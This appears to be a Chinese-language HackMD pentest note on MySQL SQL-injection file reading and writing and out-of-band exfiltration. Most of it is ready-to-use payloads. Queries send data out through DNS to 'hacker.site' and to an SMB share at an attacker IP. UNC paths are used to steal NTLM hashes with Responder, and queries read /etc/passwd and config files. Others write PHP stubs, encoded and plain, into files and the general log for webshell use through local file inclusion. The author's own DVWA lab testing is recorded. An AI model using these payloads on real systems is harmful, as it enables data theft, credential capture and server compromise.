# SQL injection 文件操作 OOB ###### tags: `sql injection` ## load_file读文件 ### 設置Load_file狀態 在MySQL注入中DNSlog外帶主要利用MySQL內置函數load_file()函數,load_file()不僅能讀取本地文件也能通過UNC的方式讀取遠程文件。 ### Load_file函數狀態: 要求用户具有file权限 通常root 才有 當secure_file_priv為空,則表示沒有任何限制。 當secure_file_priv為指定目錄,則表示數據庫導入導出只能在指定目錄。 當secure_file_priv為null,則表示不允許導入導出(MySQL 5.7 默認值) ### MySQL中查詢secure_file_priv有以下方式 ``` show variables like '%secure%'; select @@global.secure_file_priv; ``` 以上部分內容轉載自: https://www.freebuf.com/articles/web/323674.html --- ## into outfile写文件 要求用户具有file权限 通常root 才有 文件不能覆盖写入,所以文件必须为不存在 如果secure_file_priv非空,则写入文件的目录只能为对应目录下 ## into dumpfile 写文件 我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的. 這個很適合導庫 而into dump是不行的 它只能導出 一行數據! 若我們想把一個 可執行2進制 文件用into outfile函數導出 事實上 導出後 就會被破壞 因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符 這樣的話這個2進制可執行 文件 就會被破壞 這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件 into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理 以上部分內容轉載自: https://www.cnblogs.com/milantgh/p/5444398.html --- ## MYSQL 帶外 這是window 橫向滲透,自己開啟一個共享資料夾(所有人可寫入),然後把資料帶到自己的資料夾。 ``` select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt; ``` ## DNS Log ``` select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) ``` ## UNC 路徑 - NTLM 哈希竊取 需要用 responder 工具。基於錯誤的UNC PATH ``` select load_file('\\\\error\\abc'); select load_file(0x5c5c5c5c6572726f725c5c616263); select 'osanda' into dumpfile '\\\\error\\abc'; select 'osanda' into outfile '\\\\error\\abc'; load data infile '\\\\error\\abc' into table database.table_name; ``` # linux 實測 我自己實測,我覺得成功率不高, 首先要設置,就不太可能 ``` secure_file_priv='' ``` ## 讀檔案: 實測就算你開了 secure_file_priv='' 你也把一些檔案開了權限,你也查看了父目錄 你也查看了mysql的權限,有些目錄你就是讀寫不了,這個功能有點玄 mysql 是以 mysql 身份執行 当你在 Linux 系统上安装和配置 MySQL 服务时,它默认会以 mysql 用户的身份运行 有人說要關閉或調整,以下兩個,但我檢查,我根本沒設置,所以原因不明 AppArmor SELinux 幸運一點可以寫入web目錄,不行就只能寫在系統的其他目錄,然後 file inlcusion 可讀 ``` select load_file('/tmp/123.txt'); select load_file('/etc/hosts'); select load_file('/etc/apache2/sites-available/dvwa.com.conf'); SELECT LOAD_FILE('/etc/passwd'); select load_file('/tmp/123.txt'); select load_file('/my_pass_hash.txt'); select load_file '/tmp/123.txt' ; select TO_BASE64(load_file('/tmp/login.php')); 不可讀 select load_file('/home/kali/Desktop/123.txt'); select load_file('/home/kali/123.txt'); select load_file('/home/123.txt'); ``` ``` 可寫 SELECT VERSION() INTO OUTFILE '/tmp/test.txt'; SELECT "<?php phpinfo();?>" INTO OUTFILE '/tmp/test.txt'; SELECT "123" INTO OUTFILE '/var/lib/mysql/123.txt'; SELECT "<?php phpinfo();?>" INTO OUTFILE '/var/lib/mysql/test123.txt'; SELECT FROM_BASE64('PD9waHAgcGhwaW5mbygpOz8+') INTO OUTFILE '/var/lib/mysql/test789.txt'; SELECT UNHEX('3c3f70687020706870696e666f28293b3f3e') INTO OUTFILE '/var/lib/mysql/test.txt'; 不可寫 SELECT VERSION() INTO OUTFILE '/etc/test.txt'; SELECT VERSION() INTO OUTFILE '/etc/apache2/test.txt'; SELECT "123" INTO OUTFILE '/home/kali/Desktop/DVWA/test123.txt'; ``` ## 還有log 寫馬,但我實測也是失敗,或是功能不穩定, ``` SELECT @@global.general_log; SELECT @@global.general_log_file; 可設置 set global general_log='on'; set global general_log_file='/tmp/test_log.txt'; set global general_log_file='/test_log.txt' 不可設置 set global general_log_file='/home/kali/Desktop/test_log.txt'; set global general_log_file='/home/kali/Desktop/test_log.txt'; set global general_log_file='/var/www/html/test123.php'; set global general_log_file='/test123.php'; ``` - 假設你真的成功寫入了檔案,並且不再web目錄,搭配 LFI 的漏洞的文件,所在的目錄 要有RX權限
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.